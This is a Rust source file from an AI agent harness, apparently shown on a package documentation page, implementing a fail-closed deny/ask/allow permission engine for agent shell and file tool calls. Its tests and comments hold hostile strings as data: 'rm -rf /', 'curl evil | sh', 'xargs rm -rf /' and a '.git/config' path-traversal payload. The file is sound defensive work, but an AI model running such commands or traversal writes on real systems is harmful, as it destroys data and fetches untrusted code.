supercode-harness 0.4.4

The optional native Supercode agent and tool harness
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
//! P5-1 (COMPOSABLE-HARNESS-DESIGN.md §2 module 11, §2.2 conflict C5, §5.3
//! risk 1): the rule engine. **ONE engine, ONE evaluation order** — deny →
//! ask → allow, FIRST-MATCH within that fixed tier priority (the C5
//! decision: "the engine evaluates deny→ask→allow first-match (CC); OC-style
//! [last-match] sets are translated at preset-import time" —
//! `crate::permissions::translate` is that translator). This module never
//! implements last-match semantics itself.
//!
//! **Fail-closed is the law.** [`evaluate_command`] can return `Allow` ONLY
//! when every extracted sub-command (a) parsed cleanly, (b) is not
//! [`crate::permissions::canon::CanonSubcommand::opaque`], and (c) either
//! matches an explicit `allow` rule or the caller's `default` was itself
//! `Allow`. Any doubt anywhere in that chain resolves to at least `Ask` —
//! see the doc comments on each branch below for exactly where.

use super::canon::{self, CanonResult};
use crate::config::glob_match;

/// The three-way outcome the engine can reach for a tool call. Ordered by
/// strictness for [`Decision::stricter`] (`Deny` strictest, `Allow` loosest)
/// — NOT by numeric severity in the tier-priority sense (which is a fixed
/// deny→ask→allow scan order, not a totally-ordered scale); the ordering
/// here exists purely to fold multiple sub-command decisions down to "the
/// single worst one wins", the compound-safety invariant D-3/risk-1 demands.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Decision {
    /// Refuse outright. A hard floor — never bypassed by an approval policy
    /// or a cached "approve for session" grant (mirrors
    /// `Config::tool_deny_patterns`' existing precedent, config.rs).
    Deny,
    /// Requires approval (interactive prompt, or a non-interactive
    /// [`super::approval::PermissionsApprovalHandler`]).
    Ask,
    /// Proceed without prompting.
    Allow,
}

impl Decision {
    /// The stricter (lower-trust) of two decisions: `Deny` beats `Ask` beats
    /// `Allow`. Used to fold a compound command's per-sub-command decisions
    /// into one (§5.3 risk 1: "a compound where ANY sub-command matches a
    /// deny rule → the whole command is denied" — generalized here to "the
    /// whole command is AT LEAST as strict as its strictest sub-command").
    pub fn stricter(self, other: Decision) -> Decision {
        use Decision::*;
        match (self, other) {
            (Deny, _) | (_, Deny) => Deny,
            (Ask, _) | (_, Ask) => Ask,
            (Allow, Allow) => Allow,
        }
    }
}

/// A first-match deny→ask→allow rule set (§2 module 11, C5). Each list holds
/// pattern strings in one of two forms:
///
/// - `"toolname"` / `"toolname*"` (a bare glob, `crate::config::glob_match`
///   syntax) — matches by TOOL NAME only, e.g. `"tools_question"`, `"bash*"`.
/// - `"toolname(cmdglob)"` — matches tool name (itself a glob) AND the
///   canonicalized command/path text (also a glob) against
///   [`RuleSet::evaluate`]'s `subject` argument, e.g. `"bash(rm -rf*)"`,
///   `"read(*.env)"`, `"write(.git/**)"`. The `read(...)`/`write(...)`
///   pseudo-tool names are how path rules (module 11's "read/write path
///   rules") and protected paths (module 13, via
///   `crate::permissions::protected_path_rules`) both reuse this one engine
///   instead of inventing a parallel path-matching mechanism.
/// - `"*"` — matches everything (any tool, any subject).
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct RuleSet {
    /// Hard floor — checked first; a match here can never be overridden.
    pub deny: Vec<String>,
    /// Checked second.
    pub ask: Vec<String>,
    /// Checked last.
    pub allow: Vec<String>,
}

impl RuleSet {
    /// Whether this rule set has no rules in any tier (a no-op engine —
    /// every decision falls through to the caller's default).
    pub fn is_empty(&self) -> bool {
        self.deny.is_empty() && self.ask.is_empty() && self.allow.is_empty()
    }

    /// deny→ask→allow first-match, generically, against `tool` +
    /// `subject` (the canonical command text, a resolved path, or `None`
    /// for a tool call this rule set has no richer subject for — see
    /// `rule_matches`'s doc comment on why a `None` subject only matches
    /// bare tool-name-glob rules, never a `tool(pattern)` rule). Returns
    /// `None` when nothing in any tier matches — the caller decides the
    /// fallback (see [`evaluate_command`]/[`evaluate_path`]).
    pub fn evaluate(&self, tool: &str, subject: Option<&str>) -> Option<Decision> {
        if self.deny.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Deny);
        }
        if self.ask.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Ask);
        }
        if self.allow.iter().any(|p| rule_matches(p, tool, subject)) {
            return Some(Decision::Allow);
        }
        None
    }
}

/// Does `pattern` match `(tool, subject)`? See [`RuleSet`]'s doc comment for
/// the two pattern shapes. A `tool(cmdglob)` pattern with `subject == None`
/// never matches — a rule that names a command/path constraint cannot be
/// satisfied by a tool call this engine has no command/path text for
/// (conservative: such a rule simply doesn't apply, it does not silently
/// match everything).
fn rule_matches(pattern: &str, tool: &str, subject: Option<&str>) -> bool {
    if pattern == "*" {
        return true;
    }
    if let Some(open) = pattern.find('(') {
        if let Some(cmd_pat) = pattern.strip_suffix(')').and_then(|p| p.get(open + 1..)) {
            let tool_pat = &pattern[..open];
            if !glob_match(tool_pat, tool) {
                return false;
            }
            return match subject {
                Some(s) => glob_match(cmd_pat, s),
                None => false,
            };
        }
    }
    glob_match(pattern, tool)
}

/// Evaluate a (possibly compound) shell command against `rules`, folding
/// every extracted sub-command's decision down to the single strictest one
/// (§5.3 risk 1's compound-safety invariant). `tool` is the calling tool's
/// name (`"bash"`, `"shell"`, …) — sub-command patterns match as
/// `tool(cmdglob)` against `tool`, e.g. a rule written `"bash(rm -rf*)"`
/// applies to every sub-command of a `bash` call, not to a `shell` call.
///
/// `default` is the decision to use for a sub-command that parsed cleanly
/// but matched NO rule in any tier — the caller supplies this (typically
/// derived from `ApprovalPolicy`, see `crate::agent`'s gate) since "no rule
/// says anything about this command" is a policy question, not something
/// this engine decides on its own. `default` is never consulted for a
/// sub-command the canonicalizer could not parse, or one it marked opaque —
/// those always contribute at least `Decision::Ask` regardless of `default`
/// (fail-closed: an `ApprovalPolicy::Never`-derived `Allow` default must NOT
/// let an unparseable or opaque command slip through silently).
pub fn evaluate_command(
    rules: &RuleSet,
    tool: &str,
    raw_command: &str,
    default: Decision,
) -> Decision {
    match canon::canonicalize(raw_command) {
        // Fail-closed: at least `Ask`, regardless of `default` — an
        // `ApprovalPolicy::Never`-derived `Allow` default must not let an
        // unparseable command slip through silently.
        CanonResult::Unparseable(_) => Decision::Ask.stricter(default),
        CanonResult::Ok(subs) => {
            if subs.is_empty() {
                // Nothing to evaluate (blank command) — the caller's
                // default stands unmodified; there is no sub-command to
                // force a stricter floor.
                return default;
            }
            let mut worst = Decision::Allow;
            for sub in &subs {
                let text = sub.canonical_text();
                let d = rules.evaluate(tool, Some(&text)).unwrap_or(default);
                let d = if sub.opaque {
                    d.stricter(Decision::Ask)
                } else {
                    d
                };
                // F4 (Fable-5 adversarial review): `protected_paths` must
                // reach the bash write surface too, not just file-tool
                // calls — check every statically-tractable write/read
                // target this sub-command carries (a direct shell redirect,
                // AND a known argv-writer like `tee`/`dd of=`) against the
                // `write(...)`/`read(...)` protected-path rules folded into
                // `rules` (see `crate::agent`'s gate,
                // `protected_path_deny_rules`). See this crate's
                // permissions module doc for what this covers vs. what is
                // deferred to `permissions.sandbox`.
                let d = d
                    .stricter(fold_target_decisions(
                        rules,
                        "write",
                        &sub.write_redirect_targets,
                    ))
                    .stricter(fold_target_decisions(
                        rules,
                        "write",
                        &canon::known_writer_targets(&sub.argv),
                    ))
                    .stricter(fold_target_decisions(
                        rules,
                        "read",
                        &sub.read_redirect_targets,
                    ));
                worst = worst.stricter(d);
            }
            worst
        }
    }
}

/// F4: fold a list of write/read redirect or known-argv-writer targets
/// (`pseudo_tool` is `"write"` or `"read"`, matching
/// [`protected_path_deny_rules`]'s pattern shape) down to the single
/// strictest [`Decision`] any of them triggers. A target this
/// canonicalizer can't statically prove is a real path
/// (`canon::is_concrete_path_text` — e.g. it still contains `$VAR`/`` `cmd`
/// ``) contributes at least `Ask`, fail-closed, rather than silently
/// matching nothing and falling through to `Allow`. A target that IS
/// concrete but matches no rule contributes `Allow` (the neutral case —
/// this fold only ever ADDS a stricter floor on top of the sub-command's
/// own tool-level decision, it never loosens it or duplicates `default`).
fn fold_target_decisions(rules: &RuleSet, pseudo_tool: &str, targets: &[String]) -> Decision {
    let mut d = Decision::Allow;
    for t in targets {
        if !canon::is_concrete_path_text(t) {
            d = d.stricter(Decision::Ask);
            continue;
        }
        d = d.stricter(
            rules
                .evaluate(pseudo_tool, Some(t))
                .unwrap_or(Decision::Allow),
        );
    }
    d
}

/// Evaluate a single resolved path against `rules`, as either a `"read"` or
/// `"write"` pseudo-tool (module 11's "path rules": read/write globs — see
/// [`RuleSet`]'s doc comment). Falls back to `default` when nothing matches.
///
/// SECURITY (CRITICAL fix, guarantor audit): this function does NO
/// normalization, canonicalization, or symlink resolution of `path` — it is
/// a pure glob-match against whatever string it is handed. A caller that
/// feeds it a raw, unvalidated model-supplied path argument directly is
/// vulnerable to a traversal bypass: `write_file path="x/../.git/config"`
/// does not literally glob-match a `.git/**` protected-path rule as a raw
/// string, even though it resolves right back onto the real `.git/config`.
/// **Any caller evaluating a model-supplied tool `path` argument against
/// `rules` MUST go through [`evaluate_path_safe`] instead**, which resolves
/// `path` (lexically AND symlink-following) against the project root before
/// calling this function — never call `evaluate_path` directly on untrusted
/// input. This function itself remains a simple, pure, single-subject
/// matcher (used internally, multiple times, by `evaluate_path_safe`) —
/// callers that already have a KNOWN-safe subject (e.g. one of
/// `evaluate_path_safe`'s own resolved forms, or a test's literal clean
/// path) may still call it directly.
pub fn evaluate_path(rules: &RuleSet, kind: PathKind, path: &str, default: Decision) -> Decision {
    let pseudo_tool = match kind {
        PathKind::Read => "read",
        PathKind::Write => "write",
    };
    rules.evaluate(pseudo_tool, Some(path)).unwrap_or(default)
}

/// SECURITY (CRITICAL fix, guarantor audit, traced to this file's former
/// `evaluate_path` doc comment claiming "no canonicalization ... is
/// involved here ... no unparseable case to fail closed on" — the flawed
/// assumption that let a traversal payload bypass `protected_paths`): the
/// safe entry point for evaluating a RAW, model-supplied `path` tool
/// argument (relative or absolute, exactly as it arrives in `args["path"]`)
/// as a `"read"`/`"write"` pseudo-tool subject. Resolves `raw_path` against
/// `root` through `crate::safe_path::resolve_for_matching` — the SAME dual
/// lexical+symlink-resolved check `crate::checkpoint`'s P5-9 fix uses — and
/// folds [`evaluate_path`] against the RAW subject, the lexically-normalized
/// project-relative form, AND the symlink-resolved project-relative form
/// down to the single strictest [`Decision`] (ties broken toward stricter,
/// via [`Decision::stricter`]), so a rule can never be satisfied by
/// matching only one of these three views.
///
/// This is what closes the CRITICAL bug: `write_file
/// path="x/../.git/config"` with `protected_paths=[".git/**"]` — the raw
/// subject `"x/../.git/config"` does not match, but the resolved subject
/// `".git/config"` does, so the fold still lands on `Decision::Deny`.
///
/// FAIL-CLOSED: if `root`/`raw_path` cannot be proven safe (a resolution
/// error, or `raw_path` lexically looks contained but symlink-resolves
/// OUTSIDE `root` — see `crate::safe_path::PathForMatching::Unsafe`), the
/// result is escalated to at least [`Decision::Deny`], never silently
/// falling through to `default`. A path that legitimately resolves outside
/// `root` entirely (e.g. an absolute write elsewhere under
/// `SandboxPolicy::DangerFullAccess`) is NOT penalized for that alone — only
/// the raw-subject match applies to it, exactly as before this fix (no
/// over-block).
pub fn evaluate_path_safe(
    rules: &RuleSet,
    kind: PathKind,
    root: &std::path::Path,
    raw_path: &str,
    default: Decision,
) -> Decision {
    let pseudo_tool = match kind {
        PathKind::Read => "read",
        PathKind::Write => "write",
    };
    evaluate_path_subject_safe(rules, pseudo_tool, root, raw_path, default)
}

/// Like [`evaluate_path_safe`], but for an arbitrary `tool` name subject
/// instead of the `read`/`write` pseudo-tool — e.g. a rule authored against
/// the REAL tool name with a path subject (design §4.4's `"read_file(*.env)"`
/// syntax, or an `apply_patch`-targeted rule). [`evaluate_path_safe`] is a
/// thin wrapper over this for the pseudo-tool case; callers that need BOTH
/// (the permissions gate always does — see `crate::agent`'s
/// `permissions_gate_denial_impl`) call this function a second time with
/// `tool` set to the real tool name and fold the two results together.
pub fn evaluate_path_subject_safe(
    rules: &RuleSet,
    tool: &str,
    root: &std::path::Path,
    raw_path: &str,
    default: Decision,
) -> Decision {
    let mut decision = rules.evaluate(tool, Some(raw_path)).unwrap_or(default);
    match crate::safe_path::resolve_for_matching(root, raw_path) {
        crate::safe_path::PathForMatching::Inside {
            lexical_rel,
            resolved_rel,
        } => {
            decision =
                decision.stricter(rules.evaluate(tool, Some(&lexical_rel)).unwrap_or(default));
            if resolved_rel != lexical_rel {
                decision =
                    decision.stricter(rules.evaluate(tool, Some(&resolved_rel)).unwrap_or(default));
            }
        }
        crate::safe_path::PathForMatching::Outside => {
            // No root-relative protected-floor pattern can apply to a path
            // that resolves entirely outside `root` — the raw-subject match
            // above already covers any rule authored against an absolute
            // path. Not itself hostile (no over-block).
        }
        crate::safe_path::PathForMatching::Unsafe(_reason) => {
            // FAIL CLOSED: could not prove this path safe (resolution
            // error, or a symlink escape out of `root`) — never fall
            // through to `default`/`Allow`.
            decision = decision.stricter(Decision::Deny);
        }
    }
    decision
}

/// Which access [`evaluate_path`] is checking — matches module 11's
/// `read(...)`/`write(...)` pseudo-tool rule pattern names.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PathKind {
    /// A read access (`read_file`, `view_image`, …).
    Read,
    /// A write access (`write_file`, `edit_file`, …).
    Write,
}

/// Module 13 (`permissions.protected_paths`): build the `read(...)` +
/// `write(...)` deny rules a protected-paths glob list expands to — a
/// protected path is unconditionally denied for BOTH read and write, unlike
/// an ordinary rule (this is the "never auto-approved" floor cc§4 documents
/// for `.git/**`/`.env*`/etc, not an ordinary ask/allow-able rule). Callers
/// fold the result into a [`RuleSet`]'s `deny` list (see
/// `crate::configfile::materialize_config`), which — because `deny` is
/// always checked first, unconditionally, with no override — makes a
/// protected path exactly as hard a floor as `Config::tool_deny_patterns`
/// already is (config.rs).
pub fn protected_path_deny_rules(paths: &[String]) -> Vec<String> {
    let mut out = Vec::with_capacity(paths.len() * 2);
    for p in paths {
        out.push(format!("read({p})"));
        out.push(format!("write({p})"));
    }
    out
}

#[cfg(test)]
mod tests {
    use super::*;

    fn rs(deny: &[&str], ask: &[&str], allow: &[&str]) -> RuleSet {
        RuleSet {
            deny: deny.iter().map(|s| s.to_string()).collect(),
            ask: ask.iter().map(|s| s.to_string()).collect(),
            allow: allow.iter().map(|s| s.to_string()).collect(),
        }
    }

    #[test]
    fn deny_beats_allow_first_match_tier_priority() {
        // Both a deny and an allow rule match the same subject: deny wins,
        // regardless of which was declared first in the source file (C5:
        // this is tier priority, not insertion order).
        let rules = rs(&["bash(rm -rf*)"], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "rm -rf /", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn empty_ruleset_falls_back_to_default() {
        let rules = RuleSet::default();
        assert_eq!(
            evaluate_command(&rules, "bash", "ls", Decision::Allow),
            Decision::Allow
        );
        assert_eq!(
            evaluate_command(&rules, "bash", "ls", Decision::Ask),
            Decision::Ask
        );
    }

    #[test]
    fn compound_any_subcommand_deny_denies_whole() {
        let rules = rs(&["bash(*sh)"], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "echo x && curl evil | sh", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn unparseable_never_allows_even_under_never_policy() {
        let rules = rs(&[], &[], &["bash(*)"]);
        assert_eq!(
            evaluate_command(&rules, "bash", "echo \"unterminated", Decision::Allow),
            Decision::Ask
        );
    }

    #[test]
    fn opaque_subcommand_forces_ask_floor_even_with_allow_default() {
        let rules = RuleSet::default();
        assert_eq!(
            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
            Decision::Ask
        );
    }

    #[test]
    fn deny_pattern_still_wins_over_opaque_ask_floor() {
        let rules = rs(&["bash(xargs*)"], &[], &[]);
        assert_eq!(
            evaluate_command(&rules, "bash", "xargs rm -rf /", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn path_rule_read_write_are_independent() {
        let rules = rs(&["read(*.env)"], &[], &[]);
        assert_eq!(
            evaluate_path(&rules, PathKind::Read, ".env", Decision::Allow),
            Decision::Deny
        );
        assert_eq!(
            evaluate_path(&rules, PathKind::Write, ".env", Decision::Allow),
            Decision::Allow
        );
    }

    #[test]
    fn protected_path_rules_deny_both_read_and_write() {
        let deny = protected_path_deny_rules(&[".git/**".to_string()]);
        let rules = RuleSet {
            deny,
            ..Default::default()
        };
        assert_eq!(
            evaluate_path(&rules, PathKind::Read, ".git/config", Decision::Allow),
            Decision::Deny
        );
        assert_eq!(
            evaluate_path(&rules, PathKind::Write, ".git/config", Decision::Allow),
            Decision::Deny
        );
    }

    #[test]
    fn wildcard_star_matches_everything() {
        let rules = rs(&[], &[], &["*"]);
        assert_eq!(
            evaluate_command(&rules, "anything", "whatever", Decision::Ask),
            Decision::Allow
        );
    }

    #[test]
    fn subject_none_never_matches_a_command_pattern() {
        let rules = rs(&[], &[], &["bash(*)"]);
        assert_eq!(rules.evaluate("bash", None), None);
    }

    #[test]
    fn decision_stricter_ordering() {
        assert_eq!(Decision::Deny.stricter(Decision::Allow), Decision::Deny);
        assert_eq!(Decision::Ask.stricter(Decision::Allow), Decision::Ask);
        assert_eq!(Decision::Allow.stricter(Decision::Allow), Decision::Allow);
        assert_eq!(Decision::Deny.stricter(Decision::Ask), Decision::Deny);
    }
}